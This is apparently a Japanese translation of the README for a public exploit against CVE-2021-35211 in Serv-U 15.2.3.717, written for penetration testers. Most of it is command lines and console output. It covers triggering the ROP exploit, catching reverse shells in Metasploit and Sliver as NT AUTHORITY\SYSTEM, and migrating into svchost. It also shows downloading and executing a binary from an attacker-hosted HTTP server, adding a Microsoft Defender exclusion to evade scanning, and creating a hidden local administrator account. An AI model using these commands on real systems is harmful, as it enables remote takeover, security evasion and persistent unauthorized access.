bishopfox/cve-2021-35211
このエクスプロイトは毎回成功するわけではありませんが、およそ5〜6回に1回の割合でシェルコードを実行できる程度には機能します。ただし、エクスプロイトが失敗した場合にServ-Uサーバがクラッシュすることがあります。サービスの喪失または低下のリスクを交戦規定が許容していることを確認してください。テスト中に確認された症状は次のとおりです：
Caveat emptor。
バージョンが重要です。このエクスプロイトは、Serv-Uバージョン15.2.3.717に対してのみ有効なハードコードされたROPアドレスを使用します。他のバージョンを追加できる可能性があります。Serv-UまたはWindowsの別バージョンで動作させる必要がある場合は、お問い合わせください。
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717
以下の引数を取ります：
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...
攻撃が成功したときに実行できるモード（ペイロード）は3つあります：
stageexecdownloadexecエクスプロイトが成功すると、Metasploit/Sliver互換のシェルコードステージャを実行します。すべてのペイロードの中で最も信頼性が低いため、代わりに`downloadexec1を検討してください。次のように実行します：
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort
positional arguments:
stageHost Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance
stagePort Port number for your staging instance
optional arguments:
-h, --help show this help message and exit
stageHostとstagePortは、Sliver/Metasploitマシン上の待ち受けハンドラを指します。任意のペイロードを選択できますが、確実に動作するのはwindows/x64/shell/reverse_tcpだけであることがわかりました。これは暗号化されたシェルではないため残念なことであり、そのようなものをポップする前には交戦規定を確認する必要があります。
繰り返しますが、caveat emptor。
Kaliマシンで実行中のMetasploitで次のようにセットアップします：
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.
次にエクスプロイトを実行します：
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Kaliマシンに戻ると、ステージリクエストとコマンドシェルの起動が表示されるはずです：
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000
msf5 >sessions -i 6
[*] Starting interaction with 6...
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system
ステージャペイロードのSliverサポートは非常に実験的で、ほとんど動作しません。動作した場合でも、通常はセッションが開始されてすぐに終了するのが見られます。しかし、すぐに終了しないセッションが得られた場合は、別のプロセスに移行することでSliverアクセスを維持するための措置を講じることができます。
Sliverサーバーでstage-listenerコマンドを実行してリスナーをセットアップします。ステージングの詳細については、Sliverドキュメントを参照してください：
elvis@h:/ehome/haggis$ sudo sliver-server
███████╗██╗ ██╗██╗ ██╗███████╗██████╗
██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║█████╗ ██████╔╝
╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗
███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options
[*] Check for updates with the 'update' command
sliver >
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode
ステージモードでエクスプロイトを実行します：
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
エクスプロイトが機能した場合（SliverまたはMeterpreterペイロードではほとんど機能しませんが）、次のような表示が見られます（そして、そうです、Sliverがそのペイロード名を自分で考え出したのです！）：
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC
sliver > sessions -i 4
[*] Active session ARTISTIC_PANTIES (4)
sliver (ARTISTIC_PANTIES) > info
ID: 4
Name: ARTISTIC_PANTIES
Hostname: WIN-EMCK6E5O0DI
UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
Username: NT AUTHORITY\SYSTEM
UID: S-1-5-18
GID: S-1-5-18
PID: 3956
OS: windows
Version: Server 2016 build 20348 x86_64
Arch: amd64
Remote Address: example.com:57071
Proxy URL: none
Poll Interval: 1
Reconnect Interval: 60
最初に行うべきことは、別のプロセスへの移行です。Sliverセッションが終了して戻ってこない可能性が高いためです。執筆時点では根本原因はわかっていません。
sliver (ARTISTIC_PANTIES) > ps
pid ppid owner executable session
=== ==== ===== ========== =======
0 0 [System Process] -1
4 0 System 0
...
3872 728 NT AUTHORITY\SYSTEM svchost.exe 0
4868 728 BUILTIN\Administrators Serv-U.exe 0
4636 868 BUILTIN\Administrators dllhost.exe 0
sliver (ARTISTIC_PANTIES) > migrate 3872
[*] Successfully migrated to 3872
この時点で、Serv-Uとこのエクスプロイトの気まぐれに影響されない、堅牢なSliverセッションを確保できるはずです。
最も信頼性が高く、Microsoft Defenderエンドポイントセキュリティに検知される可能性が最も低いモードです。これは、Powershellコマンド（powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}"）を使用してMicrosoft Defenderにディレクトリ除外を追加し、Sliver/Meterpreter/その他任意のバイナリがマルウェアとしてスキャンされないようにするためです。これはWindows Defenderからあなたを守ってくれますが、それだけです。他のエンドポイントセキュリティ技術やネットワークIDSなども考慮する必要があります。
成功すると、URLからバイナリをダウンロードして実行します。実行ファイルをホストするWebサーバーが必要です。私はPythonを使用しましたが、SSLなしのローカルネットワークでテストしていることに注意してください。実際のエクスプロイトでは、暗号化されていないURLを使用する場合は交戦規定を確認する必要があります。
今回が初めてではありません：caveat emptor。
次のように単純なHTTPリスナーを実行します：
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
リスナーを実行した状態で、エクスプロイトを実行できます：
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
リスナーには次のような表示が見られるはずです：
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -
ターゲットはcalc.exeを実行し、Serv-Uサービスを再起動してユーザーが再び接続できるようにします。実行ファイルにはウィンドウが表示されませんが、この例を実行した場合、タスクマネージャーにwincalc.exeが表示されるはずです。
成功すると、ターゲット上でコマンドを実行します。次のように実行します：
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
残念ながら、このエクスプロイトはリモートプロセスをクラッシュさせる傾向があります。通常は再起動され、より安定させられないか検討中ですが、それまでの間、交戦規定を確認し、caveat emptorであることを忘れないでください。
Serv-U DLLでASLRが無効化されていたという事実は、信じられないほど幸運で、多くの手間を省いてくれました。
Control Flow Guard（"CFG"）などの他の緩和策も無効化されていました。これもまた、GetProcAddress()などの重要な関数へのアクセス制限を回避する必要なしにエクスプロイトを作成できる要因でした。
ROPスタックのアドレスを計算するために私が使用している方法は、まれに64ビットで整列されていないアドレスを生成することがある点を指摘しておく価値があります。その結果、GetProcAddress()がMOVAPS命令（メモリアドレスの整列を要求する）に到達すると、エクスプロイトがクラッシュします。エクスプロイトの信頼性を高めるための1つの解決策は、ROPスタックが整列されたアドレスに配置されるように強制することです。これにはROPペイロードの調整が必要であり、読者への課題として残されています。